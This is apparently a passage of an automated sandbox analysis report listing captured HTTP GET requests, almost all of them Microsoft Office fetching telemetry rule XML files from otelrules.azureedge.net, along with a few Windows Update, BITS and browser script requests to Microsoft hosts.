Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFnXMHOoobFnOmG&MD=HBDadzPT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
